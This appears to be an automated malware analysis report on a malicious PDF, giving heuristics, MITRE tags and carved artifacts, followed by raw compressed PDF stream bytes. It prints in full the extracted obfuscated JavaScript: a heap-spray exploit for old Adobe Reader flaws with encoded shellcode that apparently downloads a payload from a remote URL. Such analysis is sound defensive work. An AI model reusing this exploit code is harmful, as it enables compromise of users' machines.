MALICIOUS
82
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1204.002 Malicious File
The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The ML classifier also flagged this PDF as malicious with a high score. The embedded JavaScript is likely responsible for executing a malicious payload, although its exact function cannot be determined due to obfuscation. The presence of JavaScript actions and embedded JS streams points to an attempt to exploit the document viewer.
Heuristics 2
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Analysis timed out (partial result) info ANALYSIS_TIMEOUT_PARTIALAnalysis exceeded the wall-clock timeout. Heuristics emitted by completed phases are preserved; phases interrupted mid-execution may have missed findings.
Extracted artifacts 13
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0032_000.js |
pdf-javascript-stream | PDF /JS object 32 at offset 0x53F4 | 11890 bytes |
SHA-256: 8c95c1a23352085f76c9895c8f1c29f7b399338684a7bb7e7da248e53c597b9d |
|||
Preview scriptFirst 1,000 lines of the extracted script
�� v a r d k B f 5 m 8 e z = n e w A r r a y ( ' s I 0 V l N T V R S ' , ' b a 5 s k y w B L ' ) ; v a r f t M R y i j d t O = n e w A r r a y ( ) ; f t M R y i j d t O [ 0 ] = 1 5 3 1 ; v a r u 3 h S J J f 7 V 8 = " q f b O 2 p D U " ; v a r x R b x I K G 2 F h = ' v a r a 6 p i U B m W S = n e w A r r a y ( ) ; v a r p D G M E z 9 A b ; f u n c t i o n y Q z 9 4 Y U y H ( t 8 q I m R L y , u O 6 h G k B K d ) { w h i l e ( t 8 q I m R L y . l e n g t h * 2 < u O 6 h G k B K d ) { t 8 q I m R L y + = t 8 q I m R L y ; } t 8 q I m R L y = t 8 q I m R L y . s u b s t r i n g ( 0 , u O 6 h G k B K d / 2 ) ; r e t u r n t 8 q I m R L y ; } f u n c t i o n c I 0 Z I h I X c ( z 6 8 p N 8 b A l ) { i f ( z 6 8 p N 8 b A l = = 0 ) { v a r e I N 5 p L A C V = 0 x 0 c 0 c 0 c 0 c ; } e l s e i f ( z 6 8 p N 8 b A l = = 1 ) { e I N 5 p L A C V = 0 x 3 0 3 0 3 0 3 0 ; } v a r q Y 8 t o 5 f N 9 = n e w A r r a y ( \ " % u 5 3 5 0 % u 5 2 \ " , \ " 5 1 % u 5 7 5 6 \ " , \ " % u 9 c 5 \ " , \ " 5 % u 0 0 \ " , \ " e 8 % u 0 0 0 \ " , \ " 0 % u 5 d 0 0 % u \ " , \ " e d 8 3 % u \ " , \ " 3 1 0 d % u \ " , \ " 6 4 c 0 % u 4 0 0 \ " , \ " 3 % u 7 8 3 0 % \ " , \ " u 8 b 0 c % u \ " , \ " 0 c 4 0 % u 7 0 8 \ " , \ " b % u a d \ " , \ " 1 c % u 4 0 8 b \ " , \ " % u e b 0 8 % \ " , \ " u 8 b 0 9 % u 3 4 4 \ " , \ " 0 % u 4 0 8 \ " , \ " d % u 8 b 7 \ " , \ " c % u 3 c \ " , \ " 4 0 % u 5 7 5 6 % u \ " , \ " 5 e b e % u 0 \ " , \ " 0 0 1 % u 0 1 \ " , \ " 0 0 % u b f \ " , \ " e e % u 0 1 4 \ " , \ " e % u 0 0 0 0 \ " , \ " % u e f 0 1 % \ " , \ " u d 6 e 8 \ " , \ " % u 0 0 0 1 % \ " , \ " u 5 f 0 0 % \ " , \ " u 8 9 5 e \ " , \ " % u 8 1 e a % u 5 e \ " , \ " c 2 % u 0 0 0 1 % \ " , \ " u 5 2 0 0 % u 8 0 \ " , \ " 6 8 % u 0 0 0 0 % \ " , \ " u f f 0 0 \ " , \ " % u 4 e 9 5 \ " , \ " % u 0 0 0 1 \ " , \ " % u 8 9 0 0 % \ " , \ " u 8 1 e a % u 5 \ " , \ " e c 2 % u 0 0 0 \ " , \ " 1 % u 3 1 0 \ " , \ " 0 % u 0 1 \ " , \ " f 6 % u 8 a c 2 % u \ " , \ " 3 5 9 c % u 0 2 6 3 \ " , \ " % u 0 0 0 \ " , \ " 0 % u f b 8 0 % u 7 \ " , \ " 4 0 0 % u 8 8 0 6 % \ " , \ " u 3 2 1 c % u e b \ " , \ " 4 6 % u c 6 e e \ " , \ " % u 3 2 0 \ " , \ " 4 % u 8 9 \ " , \ " 0 0 % u 8 \ " , \ " 1 e a % u 4 5 c 2 \ " , \ " % u 0 0 0 2 % u \ " , \ " 5 2 0 0 % u 9 5 \ " , \ " f f % u 0 1 5 2 % \ " , \ " u 0 0 0 0 % \ " , \ " u e a 8 9 % u c 2 \ " , \ " 8 1 % u 0 2 5 0 \ " , \ " % u 0 0 0 0 % u 5 \ " , \ " 0 5 2 % u 9 5 f f \ " , \ " % u 0 1 5 \ " , \ " 6 % u 0 0 0 \ " , \ " 0 % u 0 0 6 a % u \ " , \ " 0 0 6 a % u e \ " , \ " a 8 9 % u c 2 \ " , \ " 8 1 % u 0 \ " , \ " 1 5 e % u 0 0 0 \ " , \ " 0 % u 8 9 5 2 % u 8 \ " , \ " 1 e a % u 7 \ " , \ " 8 c 2 % u 0 0 0 2 % \ " , \ " u 5 2 0 0 \ " , \ " % u 0 0 6 a % u \ " , \ " d 0 f f % \ " , \ " u 0 5 6 a % \ " , \ " u e a 8 9 % u \ " , \ " c 2 8 1 % u 0 1 5 e \ " , \ " % u 0 0 0 0 % u f \ " , \ " f 5 2 % u \ " , \ " 5 a 9 5 % u 0 0 0 1 \ " , \ " % u 8 9 0 0 % u \ " , \ " 8 1 e a % u 5 \ " , \ " e c 2 % u \ " , \ " 0 0 0 1 % u 5 2 0 \ " , \ " 0 % u 8 0 6 8 % u \ " , \ " 0 0 0 0 % u \ " , \ " f f 0 0 % u 4 e 9 \ " , \ " 5 % u 0 0 0 1 % \ " , \ " u 8 9 0 0 \ " , \ " % u 8 1 e a % \ " , \ " u 5 e c 2 % u 0 0 0 \ " , \ " 1 % u 3 1 0 0 % \ " , \ " u 0 1 f 6 % u 8 a c \ " , \ " 2 % u 3 5 9 c % \ " , \ " u 0 2 6 e % u 0 \ " , \ " 0 0 0 % u \ " , \ " f b 8 0 % u 7 4 0 0 \ " , \ " % u 8 8 0 6 % \ " , \ " u 3 2 1 c % u e b 4 \ " , \ " 6 % u c 6 e e \ " , \ " % u 3 2 0 4 % \ " , \ " u 8 9 0 0 % u 8 \ " , \ " 1 e a % u \ " , \ " 4 5 c 2 % \ " , \ " u 0 0 0 2 % u 5 2 0 \ " , \ " 0 % u 9 5 f f \ " , \ " % u 0 1 5 2 % u \ " , \ " 0 0 0 0 % u \ " , \ " e a 8 9 % u c 2 8 \ " , \ " 1 % u 0 2 5 0 % u 0 \ " , \ " 0 0 0 % u 5 \ " , \ " 0 5 2 % u 9 5 \ " , \ " f f % u 0 1 5 6 \ " , \ " % u 0 0 0 0 \ " , \ " % u 0 0 6 a % u 0 \ " , \ " 0 6 a % u e a 8 9 \ " , \ " % u c 2 8 1 % u 0 \ " , \ " 1 5 e % u 0 \ " , \ " 0 0 0 % u 8 9 5 2 % \ " , \ " u 8 1 e a % u a 6 \ " , \ " c 2 % u 0 0 0 2 % u \ " , \ " 5 2 0 0 % u 0 \ " , \ " 0 6 a % u d \ " , \ " 0 f f % u 0 5 6 \ " , \ " a % u e a 8 \ " , \ " 9 % u c 2 8 1 \ " , \ " % u 0 1 5 e % u \ " , \ " 0 0 0 0 % u f f 5 2 \ " , \ " % u 5 a 9 5 % \ " , \ " u 0 0 0 1 % u 9 d \ " , \ " 0 0 % u 5 f 5 d \ " , \ " % u 5 a 5 e % u \ " , \ " 5 b 5 9 % u c 3 5 \ " , \ " 8 % u 0 0 0 \ " , \ " 0 % u 0 0 \ " , \ " 0 0 % u 0 0 0 \ " , \ " 0 % u 0 0 \ " , \ " 0 0 % u 0 \ " , \ " 0 0 0 % u 0 0 0 0 \ " , \ " % u 0 0 0 0 % u \ " , \ " 0 0 0 0 % u 6 \ " , \ " 5 4 7 % u 5 4 \ " , \ " 7 4 % u 6 d 6 \ " , \ " 5 % u 5 0 7 0 \ " , \ " % u 7 4 6 1 % \ " , \ " u 4 1 6 8 % \ " , \ " u 4 c 0 0 % u \ " , \ " 6 1 6 f % \ " , \ " u 4 c 6 4 % u 6 \ " , \ " 2 6 9 % u 6 1 7 \ " , \ " 2 % u 7 9 7 2 % u 0 \ " , \ " 0 4 1 % u 6 \ " , \ " 5 4 7 % u 5 0 \ " , \ " 7 4 % u 6 f 7 2 % \ " , \ " u 4 1 6 3 % \ " , \ " u 6 4 6 4 \ " , \ " % u 6 5 7 2 \ " , \ " % u 7 3 7 3 % u \ " , \ " 5 7 0 0 % u 6 e \ " , \ " 6 9 % u 7 \ " , \ " 8 4 5 % u 6 3 6 5 \ " , \ " % u b b 0 0 % u \ " , \ " f 2 8 9 % \ " , \ " u f 7 8 9 % \ " , \ " u c 0 3 0 \ " , \ " % u 7 5 a e \ " , \ " % u 2 9 f \ " , \ " d % u 8 9 f \ " , \ " 7 % u 3 1 \ " , \ " f 9 % u b e \ " , \ " c 0 % u 0 0 3 c % \ " , \ " u 0 0 0 0 % \ " , \ " u b 5 0 3 % u 0 2 1 \ " , \ " b % u 0 0 0 \ " , \ " 0 % u a d 6 \ " , \ " 6 % u 8 5 0 3 % u \ " , \ " 0 2 1 b % u \ " , \ " 0 0 0 0 % u 7 0 8 \ " , \ " b % u 8 3 7 8 % u 1 \ " , \ " c c 6 % u b 5 0 3 % \ " , \ " u 0 2 1 b % \ " , \ " u 0 0 0 0 % \ " , \ " u b d 8 d % u 0 2 \ " , \ " 1 f % u 0 0 \ " , \ " 0 0 % u 0 3 a d % u \ " , \ " 1 b 8 5 % u 0 0 \ " , \ " 0 2 % u a b \ " , \ " 0 0 % u 0 3 a d % u \ " , \ " 1 b 8 5 % u \ " , \ " 0 0 0 2 % u \ " , \ " 5 0 0 0 % u a \ " , \ " d a b % u 8 5 0 \ " , \ " 3 % u 0 2 1 b % u 0 \ " , \ " 0 0 0 % u 5 e a \ " , \ " b % u d b 3 1 % \ " , \ " u 5 6 a d \ " , \ " % u 8 5 0 3 \ " , \ " % u 0 2 1 b % u 0 \ " , \ " 0 0 0 % u c 6 8 9 % \ " , \ " u d 7 8 9 % \ " , \ " u f c 5 1 % u a 6 f \ " , \ " 3 % u 7 4 5 9 % u \ " , \ " 5 e 0 4 % u e b 4 \ " , \ " 3 % u 5 e e \ " , \ " 9 % u d 1 9 \ " , \ " 3 % u 0 3 e 0 % \ " , \ " u 2 7 8 5 \ " , \ " % u 0 0 0 2 % \ " , \ " u 3 1 0 0 % u 9 6 \ " , \ " f 6 % u a d 6 \ " , \ " 6 % u e 0 c \ " , \ " 1 % u 0 3 0 2 % u 1 \ " , \ " f 8 5 % u 0 0 0 2 % \ " , \ " u 8 9 0 0 % u \ " , \ " a d c 6 % u 8 \ " , \ " 5 0 3 % u 0 2 1 \ " , \ " b % u 0 0 0 \ " , \ " 0 % u e b c 3 % u \ " , \ " 0 0 1 0 % \ " , \ " u 0 0 0 0 \ " , \ " % u 0 0 0 0 % u 0 0 \ " , \ " 0 0 % u 0 0 \ " , \ " 0 0 % u 0 \ " , \ " 0 0 0 % u 0 0 \ " , \ " 0 0 % u 0 0 0 0 % u \ " , \ " 8 9 0 0 % \ " , \ " u 1 b 8 5 % u 0 0 0 \ " , \ " 2 % u 5 6 0 0 \ " , \ " % u e 8 5 7 \ " , \ " % u f f 5 8 % u \ " , \ " f f f f % u 5 e \ " , \ " 5 f % u 0 1 a b % \ " , \ " u 8 0 c e % u b b \ " , \ " 3 e % u 0 2 7 4 \ " , \ " % u e d e b % \ " , \ " u 5 5 c 3 % u 4 \ " , \ " c 5 2 % u 4 f \ " , \ " 4 d % u 2 e \ " , \ " 4 e % u 4 c 4 4 \ " , \ " % u 0 0 4 c % \ " , \ " u 5 2 5 5 % \ " , \ " u 4 4 4 c % u 7 7 \ " , \ " 6 f % u 6 c 6 e \ " , \ " % u 6 1 6 f % \ " , \ " u 5 4 6 4 % u \ " , \ " 4 6 6 f % u 6 c 6 9 \ " , \ " % u 4 1 6 \ " , \ " 5 % u 7 5 0 \ " , \ " 0 % u 6 4 7 0 \ " , \ " % u 7 4 6 1 \ " , \ " % u 2 e 6 5 % u 7 \ " , \ " 8 6 5 % u 0 0 6 5 \ " , \ " % u 7 2 6 3 % u 7 \ " , \ " 3 6 1 % u 2 e 6 \ " , \ " 8 % u 6 8 7 0 % u \ " , \ " 0 0 7 0 % u 7 4 \ " , \ " 6 8 % u 7 0 7 4 % u \ " , \ " 2 f 3 a % \ " , \ " u 7 3 2 f \ " , \ " % u 6 1 7 \ " , \ " 4 % u 6 c \ " , \ " 6 c % u 6 1 7 6 % \ " , \ " u 7 3 7 2 \ " , \ " % u 3 8 2 d % u \ " , \ " 6 3 2 e % u 2 \ " , \ " f 6 e % u 7 4 7 3 \ " , \ " % u 2 f 3 \ " , \ " 8 % u 7 0 7 5 \ " , \ " % u 6 1 6 4 % u \ " , \ " 6 5 7 4 % u \ " , \ " 7 0 2 e % u \ " , \ " 7 0 6 8 % u 6 9 3 f \ " , \ " % u 3 d 6 4 % u \ " , \ " 2 6 3 3 % u \ " , \ " 6 5 7 2 % u 3 d 7 \ " , \ " 4 % u 6 b 6 f \ " , \ " % u 9 0 0 0 \ " ) ; q Y 8 t o 5 f N 9 = u n e s c a p e ( q Y 8 t o 5 f N 9 . j o i n ( \ " \ " ) ) ; v a r m j I y z X 4 5 B = 0 x 4 0 0 0 0 0 ; v a r y M G J O 4 3 6 p z = q Y 8 t o 5 f N 9 . l e n g t h * 2 ; v a r u O 6 h G k B K d = m j I y z X 4 5 B - ( y M G J O 4 3 6 p z + 0 x 3 8 ) ; v a r t 8 q I m R L y = u n e s c a p e ( \ " % u 9 0 9 0 % u 9 0 9 0 \ " ) ; t 8 q I m R L y = y Q z 9 4 Y U y H ( t 8 q I m R L y , u O 6 h G k B K d ) ; v a r w S O l 4 h 7 B = ( e I N 5 p L A C V - 0 x 4 0 0 0 0 0 ) / m j I y z X 4 5 B ; f o r ( v a r u h W 2 w U z O l = 0 ; u h W 2 w U z O l < w S O l 4 h 7 B ; u h W 2 w U z O l + + ) { a 6 p i U B m W S [ u h W 2 w U z O l ] = t 8 q I m R L y + q Y 8 t o 5 f N 9 ; } } f u n c t i o n k M a 7 S c n U N ( ) { v a r v F p 1 6 o h g j X = 0 ; v a r q Z b p L 6 A 4 = a p p . v i e w e r V e r s i o n . t o S t r i n g ( ) ; a p p . c l e a r T i m e O u t ( p D G M E z 9 A b ) ; i f ( ( q Z b p L 6 A 4 > = 8 & & q Z b p L 6 A 4 < 8 . 1 0 2 ) | | q Z b p L 6 A 4 < 7 . 1 ) { c I 0 Z I h I X c ( 0 ) ; v a r h 9 n w s W T H s f = u n e s c a p e ( \ " % u 0 c 0 c % u 0 c 0 c \ " ) ; w h i l e ( h 9 n w s W T H s f . l e n g t h < 4 4 9 5 2 ) h 9 n w s W T H s f + = h 9 n w s W T H s f ; v a r k r S p 8 9 3 P T w = t h i s ; v a r a u O U l 5 k q A Q = C o l l a b ; k r S p 8 9 3 P T w [ \ " c o l l a b S t o r e \ " ] = a u O U l 5 k q A Q [ \ " c o l l e c t E m a i l I n f o \ " ] ( { s u b j : \ " \ " , m s g : h 9 n w s W T H s f } ) ; } i f ( ( q Z b p L 6 A 4 > = 8 . 1 0 2 & & q Z b p L 6 A 4 < 8 . 1 0 4 ) | | ( q Z b p L 6 A 4 > = 9 & & q Z b p L 6 A 4 < 9 . 1 ) | | q Z b p L 6 A 4 < = 7 . 1 0 1 ) { t r y { i f ( a p p . d o c . C o l l a b . g e t I c o n ) { c I 0 Z I h I X c ( 2 ) ; v a r t s G Q 5 l R X X = u n e s c a p e ( \ " % 0 9 \ " ) ; w h i l e ( t s G Q 5 l R X X . l e n g t h < 0 x 4 0 0 0 ) { t s G Q 5 l R X X + = t s G Q 5 l R X X ; } t s G Q 5 l R X X = \ " N . \ " + t s G Q 5 l R X X ; v a r z k J c G j j F 0 = a p p ; z k J c G j j F 0 [ \ " d o c \ " ] [ \ " C o l l a b \ " ] [ \ " g e t I c o n \ " ] ( t s G Q 5 l R X X ) ; v F p 1 6 o h g j X = 1 ; } e l s e { v F p 1 6 o h g j X = 1 ; } } c a t c h ( e ) { v F p 1 6 o h g j X = 1 ; } i f ( v F p 1 6 o h g j X = = 1 ) { i f ( q Z b p L 6 A 4 = = 8 . 1 0 2 | | q Z b p L 6 A 4 = = 7 . 1 ) { c I 0 Z I h I X c ( 1 ) ; v a r e M 1 G F a E h = \ " 1 2 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 \ " ; f o r ( a 7 O U E o h X = 0 ; a 7 O U E o h X < 2 7 6 ; a 7 O U E o h X + + ) { e M 1 G F a E h + = \ " 8 \ " ; } v a r d B u I u B 2 l L = u t i l ; d B u I u B 2 l L [ \ " p r i n t f \ " ] ( \ " % 4 5 0 0 0 f \ " , e M 1 G F a E h ) ; } } } } a p p . t Q g z a H 2 x W s = k M a 7 S c n U N ; p D G M E z 9 A b = a p p . s e t T i m e O u t ( \ " a p p . t Q g z a H 2 x W s ( ) \ " , 1 0 ) ; ' ; t h i s . a P 8 W L v t q l = 3 0 5 7 4 ; f u n c t i o n k d f i j C 2 v l 5 ( b 7 d S k m f j G f , n X C f F 4 j e ) { r e t u r n f a l s e ; } f u n c t i o n e o u H V J a q U ( v j e G n J Y x ) { r e t u r n v j e G n J Y x ; } v a r d i i H 1 s B F C = x R b x I K G 2 F h . r e p l a c e ( / [ ] / g , ' ' ) ; i M d K r Y 2 C x Z = " t F s 6 B l 8 k x A " ; q r 9 S O P P v q = f a l s e ; v a r k v D 4 E 0 9 G Q = n e w A r r a y ( ' g p h v R e m 5 E 1 ' , ' i 1 U S 5 n 4 s ' , ' j Z r M L X A a 0 ' ) ; v a r b r k Q Z v 4 D = ' e ' + ' v ' + ' a ' + ' l ' ; a p p [ b r k Q Z v 4 D ] ( d i i H 1 s B F C ) ; v a r l b L F d N d 7 r = n e w A r r a y ( ' p V f n T V o s ' , ' d l h O 4 O v B I ' , ' f S Z s S g A 5 H ' ) ; f u n c t i o n g E q l g x E L r ( ) { r e t u r n f a l s e ; } f u n c t i o n k L f 9 p m 3 V 2 r ( ) { r e t u r n f a l s e ; }
|
|||
stream_011_off000053f4.js |
decompressed-pdf-stream | PDF FlateDecoded stream at offset 0x53F4 | 5944 bytes |
SHA-256: 62f9494aec79611d588cc515815e5518f3cc355e24511437ef1887ae5f9fd629 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 38 of 71 identifiers look randomly generated (e.g. 'h9nwsWTHsf') — consistent with name-mangling obfuscation.
|
|||
generic_stage_recovery_000.js |
deobfuscated-js | generic stage recovery null-collapse from raw PDF metadata at offset 0x0 | 29487 bytes |
SHA-256: 98927e99b3de489683124a10433f6648249bca06c7d586a4c7657b851b89d8a9 |
|||
|
Detection
ClamAV:
Pdf.Exploit.CVE_2009_0927-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
%PDF-1.7
3 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 1464>>
stream
x��Yێ�6 |�W�c��X����i.H��H�@Q y�DJ�-�
)�V�� �%Kg�n�F5 _ J �sfΐ�'�5 ��� �>�C�xͣ�=���W ��d>�E�� �/_O.��Hӳ�lˋ�X��� �d��z�&� � �ޤxa����3p����'A|��C� � ��� �t�,V����K����+�ԯ�q�7��� � �qy��v��6�3 ;��F�y�9��f�a� x�fa�0��=���w� �܌>���-D�wA �M�n�`�d8���k|����<�� 9����K�r � �?F��p��s#Z�z �Ry F 醗f�Y�F�Σ�� ���>�s �g. ������A>{�\
Y� Y�� {�����Pd�u�� �L
(�bhM7B��8�]�Z)��X�G�u��误 ��ҵ����K {R��� �R9d�u��� ]�l_V�E��{ �
������+�NյH�{�xQ9��o �I � ��� U�� m�� ��o%��~����g>K�QFbPF��D�$��xV��l��Q��Eх({FW;9-ڈ � � �^B�Zzd��pBj_Aԗ� 7)3-�� ����`�Y[ �è &�K�+�%�`6�uYuPF5 m ��� N� � ���� �2b�� iY�pu�lh�S��oI
��B�j��Rj?b'<e�|�U( S��M�X Z*3)� �t g1jf6˘zO`��X~� �= � 9�bt�ts�0�F�Z� ߄��F8"� ��2���-c��W�� ]E4�P )L Z�hE͌4���r� � P] � �G�Q � ��T�VK�ŵ�(�kX��^�� +w�i�� �� T
�]�Z1�*T�o�q �� l{idP$��t=��t�R�Q�<<�jOA�O˶�m HT m{?i��#�|�)9;����g��!���mĥ����1l-S��� r ���X38��2��L�L�# ��S��3��J �bg�)KƱ� NhR� �0\�� � Z�����I�� � �YT��*� ��[��RV�_OY�I�FĹu<- �;5 � �x�j���kK g�a��o߈�j�o �IQG�9e� П�Z �b�ȭ� XD����ܚe��@3+)քb Ħ/
���@���� NdR� ž5<H���{. Y �AÅ�
P c�phS�� v�
e��� 7 -5�F�,yt� ? pı�^�jH�� �&�}�� )��)f U�Wc���Y �% ������."� uJ��@ݻ��0"> qf�u !mX�J5!�%��@�����8-���g���xğ��� �I �L�rR�iĝ � v (봴l< �e�G "Xw��Q�)3)�A��~pbS�9� pD� a =U�� � �m�U�9�=w�}1 5 {�I!GT�ƚP!iLr� Y�vOɬ=䨦u�iD���ѱݙ� � Y X �+�l �� mĭ� �VXo�4%� #W�C�w� mI���x }v��"D� ���ͽ�$gˇ]�۟a��DL֛��@�I�w� ��O�� � =� ��� ���}
endstream
endobj
5 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 6 0 R>>
endobj
6 0 obj
<</Filter /FlateDecode /Length 1408>>
stream
x��YMs�6 ��W�=� %����s�I���3�N& ��HH ��h��w!' \+v�m=CˢIa��۷˧i�X�� oxl�� _
�x��� x�r�t�L��������$�t���y� �e�<��,Y̰Z��t��Ɠ�)�[���} ^���� >c�K�7~� ��t�JfgX��d��E��?To�ݽtR�� o��_W� �����cu~�,��+ ۿUF�u�5��z�~� xl'a��z1����_}�� ���'p�����Έc�N�s�X, ���� 0yw�&O��ĩ� �K� Ӑ�C�
�e J�J-��F� ?;4�7�t���# �,��Z .ze�UY��#W�Dc}�O��� Ϗ�ma YSZ��fC0�� ��Pm�gv/�Y'QJ] ���
�
o
��.�p�x|�� n)���Lبˉ�Q|� K�
i M� l �����n�ވC���� u3&��� �(�uU([C� ���8��e L�(nm�= %�M��� +� � w�K���QA���� IĨ �f� '� ��[U@�C�Y�U�7Ĥ!�n�C��P ��=O�,� 9�:� �oT� �ڊhP��� w�j;�Qɢ��� 2-�$� � ��,�N�"��� �� ��nG� q�k�}�� O�c�3Gj�R� ��#�Z'�M8�DˆՅ Ye �`� �bM;@�֍ { 1,�\ ��{����@r�l��+\]����Qo,[�^�]W�� %k�R�O[n��%�Sz�x�#z Z*�A�m ��� Ze �xk�� |��aQN|/ C�Ѷ�
� b 6�p�Z ����� � Z�ج��9���
`ʡ� �� �P� �5 ~�� �( �Ԓl8��bT� {i��b�kd ��pzbbu�j�dI� �A���6m��G[)W� y�B }a�f i��-o ��-����nQ�sE��: �](_� ;1&� �k��N�m �Vm ���Ez�?}ׄ�� qĿ�^��� �/2 +՞�� � $d�oX�Q G� � +Q�ȶN�<��� � {� ���{7`��n�ٺCW���;qe-6�ը����2ȶS#�7� 5k!�� R��-c�+�S���6 � �t��^�
�5�ǸQ�G�;Z ��c+�A2�]=b�C-¨�"� � � ��8�g���6@���P�rm� @�8���<�E�Ȁ�'�ͭh��hq��3�}���u5�<Y 3&��
5�����~�Op��Q1GL�%�|.ؓ�}x^ �>g _ 8��� ¨�#F�AE�5�"Y ��Y��i�E.C^E?n #�<�� }>���O��7���^� �����d8 ��2 �NZ�Q��oF �_ MP�e 2\�[m�T�
9~$�6 !w��w��x �� �
;��A�p ����{� '�� w �*�;&dL� �nY���o R�� �7f�u2_ G��o� �� ���{�t���|�ЈRb�'LM�� ��' ]L��
endstream
endobj
7 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 8 0 R>>
endobj
8 0 obj
<</Filter /FlateDecode /Length 1469>>
stream
x��Y�n�8 |�W����K}���� ],� X,�>P -1�H� �(_�C'���I�� ۴l �93gHO�� =�x�� _�����W5yq�go昭�� �[�>�|�>8O 1�-�� ?4�r��N�|�-�X�g�t����w3���x�� x���O �
S�:���U���V�l� ��2��pZ��o� kwo��� ��{~�͌� �� � �ON���jFc� ��8o2�4�,�O8 ��I� �^N� ��w߂��� �OW �9q�6��
�K�sy�Z�3& �X�� ��@]� 9�����Ok� �� Ep9���� (th��
����@!|'�[ :��"� mp^fx}����� � �hd�V� ��)��<� ��a�l��v6Tu6*�� ��Zr�jh=�" ��h! eY �U0A�B� { #Y� \�0Fd�G
g�;C�m�DŽ�:9@ֲ� 6%zi� m _8��ҏ �����/�%��l�CQsn�H ��Ee�[WB��CTF� > 7� 4��( ��`ƍWB 'Jż�� ��0�~7�� �Zl� 8 �"~1x � �Zo�:ՠp�K Z ��w�0*�.�2�^U5Yr�+� ���B�A����-���
cބ�V� /����"� �E�\��� 6�D��/�'�E�-aw��P�=z�� 9���� �
� V%#/M�X�bM�9 � � z��i�rjP�Ή� $7%)�W�t{1m�; �MWS �mШ�`p �KU� ^�Q�t��oW� � .��n f?;�
C� :0 ]��u < ي�#�Ϫ�fT� ['� �<�� ��J�pz) ��=�jH�͆���Y e,# �t��]� ypƿQQ'$�E䠦�i�);*��m�E �ZK�kC�z� �5��p������V��E� �2ת w��J�V_��·�`�� vG� �I<O���p���:\�U)�v� �¸ �<퓮m �d\p )�� �Ӆ 8��aj yp��P��8�-�/ׂ�dݨ��<!Dc���u���)���6 w�O.t3*�ER� � \ ���� �^R �� oR�?dl(���!�1*� Wn��� ��N1n��
?��J�2�X�-� OQ7�������W�H��� �,
U���M ��B���� ?3&�yB��6�,4yt��(N�؆Z|��T�nih�V��� �77!Q
� ���;�!SC��w���o � � ��GE��g+zs�U� 0;%➃�(����Ҳi ������J�yB��w �)�z� �}�X �ر��� �� �?+]'^ 7&mT��&'z��} 2`�mr�p� u�;K��E���� ���� w���cJSَZ�QA���w�� ��c��ڱ�kGE�4�7��[
�Ŧς� ��m�e�j� � C� (!�o�����gT�)� ,Q**�A y���9� pB�o9K�"�/J�p �-շ�;?n�{Ò��W��c!ZZ���TcV����|�� ����
f��9@� '��M�X Ư^�s�Gb���_ f�l}�cB+*� �1�ɺ~�`}�/�l��
endstream
endobj
9 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 10 0 R>>
endobj
10 0 obj
<</Filter /FlateDecode /Length 1465>>
stream
x��Y�n�6 |߯���Eً��Ǧ� A����� �@I\�^��Iъ�� ��,m��K� ��� ��3g��N�� �x�� ?qWr{ͭ�<?óWs�V�t��-^�M.� �G 1�-��)o�b��V�8�g�9��Y6��h��� / ���} ^���� .0��;�m >g�Zg� lf�l��Y�����ٽ�R�� go��� � �/#. X��f����� a�h�i�Yb�pn�0@ ��<|���7W߁��� ��� �9q�6�� -�K�sy��� L���$���C? ���_N�����TU��Z� �wnD�*䪓%D�v �Ъ�9W��W ~7� �� NI~,� ͑��� /"ľ5hD! �Z �j�^� j ��MA�*��z;b;* 2��z� ��ۤpg �E�� ��c�M_3��
*uI|�p CM�bD+�+� �qmĥ���K�
�q���1%��� �����F��َ �� :k|�MxD%ZR�k=�7{�X�eI�� @?(��B���K�J� WY*��I�2���3�I *��[9� ��c³p���P {~B�%����'%�a_��m�2��e 5oCi}Š[�ˤ�#a��rxW+j) ;�Kآ� :e�C�rN�픥��{�q�?� /z���B>�
R�#.M� %E i칰�An��A1 NM�K��mG�A�I�,#��-,ZiU �tD^ �@��0L��33 � SM�0-#��a4�FU Sx��!= ��Dr�j$L) �
��:�x��5f�$�&v5�wN�I!/��i� ������ ɶ�鈎���k�P� � �sn�Z��Q���3�#��IQGJڝ�� �� ��\ӏ�.Ǵ+ �O�5"�L��IY2qo� ��^(s���Q
:x��ޔ �w���3]��_(� �u� �I$ +J �H� ~���`&wbt( �v��0ӫ68d��p60 -_�B��d%�|W1�4L7�� Ж�x�@�W*���cM1����l�o-�p��I��HP�� <^��>p�H]� W�$� �o+l��^!PPlV��� ʽ� ��G� ���gI����W�\d��N�������q#�G��F� �� eń�7��`e�K�:��`��3|��� �j)�J �Է�Ƥ�# u�ĸ���+\ o �Q0��O�sR ." ~�_&�5m ��U� @��� ���� � s��� Y R.ݤ����~�1唐瑪"�Gl��� _���)�� �^�x�h.�N �y$��Z/O3Q0�}= K�� W��v;ƶ� p$��� 4(*ٔ!�r7�\8�)�C��̘�*��]0)�HF��-� �s� ���: ��G<8)�ửo�u1���uP�iK�Y��ohB<�\� �͢��� ����H@�q�:����B$jP�,�Y~���)! 6mB�=ި��O �C�� ARԑ~.J��<x� �3
j�T "���f�NC�
��{-��/��i�� {��I�9n� *��*� � � ���'� B� � F ~�� �C���kh�? ��&�h1�d��,:QI�� W8�� ��'� Ɏ�
endstream
endobj
11 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 12 0 R>>
endobj
12 0 obj
<</Filter /FlateDecode /Length 1463>>
stream
